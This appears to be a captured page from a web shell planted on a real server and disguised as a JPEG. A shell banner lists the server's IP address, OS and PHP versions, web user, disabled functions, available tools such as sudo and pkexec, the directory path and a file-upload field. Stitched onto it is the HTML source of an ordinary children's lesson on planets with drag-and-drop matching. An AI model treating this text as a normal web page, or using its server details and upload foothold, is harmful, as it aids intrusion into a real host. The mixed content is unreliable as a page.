????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.37 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old6/Html/LevelG/Category2/ |
Upload File : |
<!doctype html>
<html>
<head>
<title>Write about planets and matchings</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
table
{
border: 0px solid;
}
</style>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.G, Category.No2);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.G, Category.No2, 22), true, true);
shared_setFooterTable('id_tblFooter', true, true, true, true, true);
var ids_headings = ['id_td_heading1', 'id_td_heading2'];
var ids_boxes = ['id_dropBox_24Hours', 'id_dropBox_30Days', 'id_dropBox_365Days'];
var ids_options = ['id_td_30Days', 'id_td_365Days', 'id_td_24Hours'];
var ids_spans = ['id_span_30Days', 'id_span_365Days', 'id_span_24Hours'];
var ids_texts = new Array();
for (var textId = 1; textId <= 11; textId++)
{
ids_texts.push('id_td_text' + textId);
}
var ids_textBoxes = new Array();
var ids_td_textboxes = new Array();
for (var textBoxId = 1; textBoxId <= 4; textBoxId++)
{
var idTdTextBox = 'id_td_textBox' + textBoxId;
var idTextBox = 'id_textBox' + textBoxId;
var eTextBox = document.getElementById(idTextBox);
eTextBox.value = '';
if (shared_currentDeviceType == shared_DeviceTypeAndroid)
{
eTextBox.style.border = 'solid 2px black';
}
ids_textBoxes.push(idTextBox);
ids_td_textboxes.push(idTdTextBox);
}
var ids_All = ids_headings.concat(ids_options, ids_boxes, ids_texts, ids_td_textboxes, ids_textBoxes);
shared_adjust_fontSize_for_ids_all_devices(ids_All, 70);
shared_init_dropBox_tds_with_drag_here(ids_boxes);
shared_init_dropping_spans(ids_spans);
}
function page_onLoad()
{
}
function btnPrevious_click()
{
window.location = 'LevelGCat2Lesson21.html';
}
function btnNext_click()
{
window.location = 'LevelGCat2Lesson23.html';
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelG');
}
function DragDrop(id_dropBox, ids_array)
{
if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
shared_setTextAndBackgroundColorToGreenAndIsMovedTrue(shared_currentDropingId, id_dropBox);
shared_set_currentDropingId_draggbleToFalse();
}
else
{
shared_resetCurrentDroppingPosition(id_dropBox);
}
}
function btnValidate_click()
{
var eTextBox1 = document.getElementById('id_textBox1');
var eTextBox2 = document.getElementById('id_textBox2');
var eTextBox3 = document.getElementById('id_textBox3');
var eTextBox4 = document.getElementById('id_textBox4');
var ids_boxes = ['id_dropBox_24Hours', 'id_dropBox_30Days', 'id_dropBox_365Days'];
var isAllBoxesFilled = shared_isAllInfosFilled(ids_boxes);
if ((eTextBox1.isCorrect == true) &&
(eTextBox2.isCorrect == true) &&
(eTextBox3.isCorrect == true) &&
(eTextBox4.isCorrect == true) &&
isAllBoxesFilled)
{
shared_show_claps_animation('shared_id_div_claps_image');
}
}
function validateSentence(id_textBox)
{
var eTextBox = document.getElementById(id_textBox);
var inputText = eTextBox.value;
var enteredTextArray = inputText.split(" ");
var trimmedText = '';
for (var textIndex = 0; textIndex < enteredTextArray.length; textIndex++)
{
if (enteredTextArray[textIndex].trim() != '')
{
trimmedText += enteredTextArray[textIndex].trim() + ' ';
}
}
trimmedText = trimmedText.trim().toUpperCase();
var correctText = getCorrectText(id_textBox);
eTextBox.isCorrect = (trimmedText == correctText) ? true : false;
}
function getCorrectText(id_textBox)
{
var correctText = '';
if (id_textBox == 'id_textBox1')
{
correctText = 'NOT';
}
else if (id_textBox == 'id_textBox2')
{
correctText = 'LIGHT';
}
else if (id_textBox == 'id_textBox3')
{
correctText = 'SUN';
}
else if (id_textBox == 'id_textBox4')
{
correctText = 'EIGHT';
}
return (correctText);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr height="60%">
<td style="padding-bottom: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="30%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="2%">
<tr>
<td id="id_td_heading2" class="shared_style_options_blue_24px_bold" width="70%"><u>Write about planets by filling the blanks</u>:</td>
<td width="*" align="left">
<img src="../../../img/LevelG/Category2/LevelGCat2Lesson22/planets.png" width="55%" alt="" draggable="false"/>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td style="border-top:0px; padding-left:2%">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr height="20%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text5" class="shared_style_black_24px_bold" width="20%" align="left">Planets do</td>
<td id="id_td_textBox1" width="20%" align="center">
<textarea id="id_textBox1" class="shared_style_blue_24px_bold" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox1')">
</textarea>
</td>
<td id="id_td_text6" class="shared_style_black_24px_bold" width="*" align="center">twinkle. They reflect the</td>
<td id="id_td_textBox2" width="20%" align="left">
<textarea id="id_textBox2" class="shared_style_blue_24px_bold" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox2')">
</textarea>
</td>
</tr>
</table>
</td>
</tr>
<tr height="20%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text7" class="shared_style_black_24px_bold" width="58%" align="left">of the sun. They revolve around the</td>
<td id="id_td_textBox3" width="16%" align="center">
<textarea id="id_textBox3" class="shared_style_blue_24px_bold" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox3')">
</textarea>
</td>
<td id="id_td_text8" class="shared_style_black_24px_bold_padding_left_2_percent" width="*" align="left">in their own</td>
</tr>
</table>
</td>
</tr>
<tr height="20%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text9" class="shared_style_black_24px_bold" width="28%" align="left">orbits. There are</td>
<td id="id_td_textBox4" width="20%" align="center">
<textarea id="id_textBox4" class="shared_style_blue_24px_bold" style="width:80%; text-align:center; resize:none" rows="1" onchange="validateSentence('id_textBox4')">
</textarea>
</td>
<td id="id_td_text10" class="shared_style_black_24px_bold_padding_left_2_percent" width="*" align="left">planets namely Mercury, Venus,</td>
</tr>
</table>
</td>
</tr>
<tr height="20%">
<td>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td id="id_td_text11" class="shared_style_black_24px_bold" align="left">Earth, Mars,
Jupiter, Saturn, Uranus, Neptune.</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td> </td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="10%">
<td style="border-bottom: none">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td id="id_td_heading1" class="shared_style_options_blue_24px_bold" style="border-left: 0px; border-right: none; border-top: none; border-bottom: none"><u>Match the following</u>:</td>
</tr>
</table>
</td>
</tr>
<tr>
<td align="center" style="border-top: none; border-bottom: none">
<table id="id_tblSection1" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="*">
<td width="75%" style="border-left: 0px">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" style="border-left: 0px; border-right: 0px">
<table width="100%" height="100%" border="0" cellspacing="2%" cellpadding="0" style="padding-top: 1%; padding-bottom: 1%">
<tr id="id_tr_dropBox_24Hours" height="33%"
ondragover="shared_highlight('id_dropBox_24Hours'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_24Hours')"
ondrop="DragDrop('id_dropBox_24Hours', ['id_span_24Hours'])">
<td id="id_td_text1" class="shared_style_black_24px_bold_padding_left_2_percent" width="75%" align="left" valign="middle">
Time taken by Earth to spin around itself
</td>
<td id="id_dropBox_24Hours" class="shared_style_red_24px_bold" width="*" align="center">
</td>
</tr>
<tr id="id_tr_dropBox_30Days" height="33%"
ondragover="shared_highlight('id_dropBox_30Days'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_30Days')"
ondrop="DragDrop('id_dropBox_30Days', ['id_span_30Days'])">
<td id="id_td_text2" class="shared_style_black_24px_bold_padding_left_2_percent" width="75%" align="left" valign="middle">
Time taken by moon to go around the earth
</td>
<td id="id_dropBox_30Days" class="shared_style_red_24px_bold" width="*" align="center">
</td>
</tr>
<tr id="id_tr_dropBox_365Days" height="*"
ondragover="shared_highlight('id_dropBox_365Days'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_dropBox_365Days')"
ondrop="DragDrop('id_dropBox_365Days', ['id_span_365Days'])">
<td id="id_td_text3" class="shared_style_black_24px_bold_padding_left_2_percent" width="75%" align="left" valign="middle">
Time taken by Earth to go around the sun
</td>
<td id="id_dropBox_365Days" class="shared_style_red_24px_bold" width="*" align="center">
</td>
</tr>
</table>
</td>
<td id="id_td_text4" width="1%" style="border-left: 0px; border-right: 0px"> </td>
</tr>
</table>
</td>
<td width="*">
<table width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td style="border-right: 0px">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
<tr height="33%">
<td id="id_td_30Days" align="center" class="shared_style_blue_24px_bold" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_30Days">30 days</span>
</td>
</tr>
<tr height="33%">
<td id="id_td_365Days" align="center" class="shared_style_blue_24px_bold" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_365Days">365 days</span>
</td>
</tr>
<tr height="*">
<td id="id_td_24Hours" align="center" class="shared_style_blue_24px_bold" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_span_24Hours">24 hours</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_span_30Days', {handle : 'id_td_30Days', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_365Days', {handle : 'id_td_365Days', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_span_24Hours', {handle : 'id_td_24Hours', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
webkit_drop.add('id_tr_dropBox_365Days', {onOver : function(){shared_highlight('id_dropBox_365Days')}, onOut : function(){shared_un_highlight('id_dropBox_365Days')}, onDrop : function(){DragDrop('id_dropBox_365Days', ['id_span_365Days'])}});
webkit_drop.add('id_tr_dropBox_24Hours', {onOver : function(){shared_highlight('id_dropBox_24Hours')}, onOut : function(){shared_un_highlight('id_dropBox_24Hours')}, onDrop : function(){DragDrop('id_dropBox_24Hours', ['id_span_24Hours'])}});
webkit_drop.add('id_tr_dropBox_30Days', {onOver : function(){shared_highlight('id_dropBox_30Days')}, onOut : function(){shared_un_highlight('id_dropBox_30Days')}, onDrop : function(){DragDrop('id_dropBox_30Days', ['id_span_30Days'])}});
</script>
</body>
</html>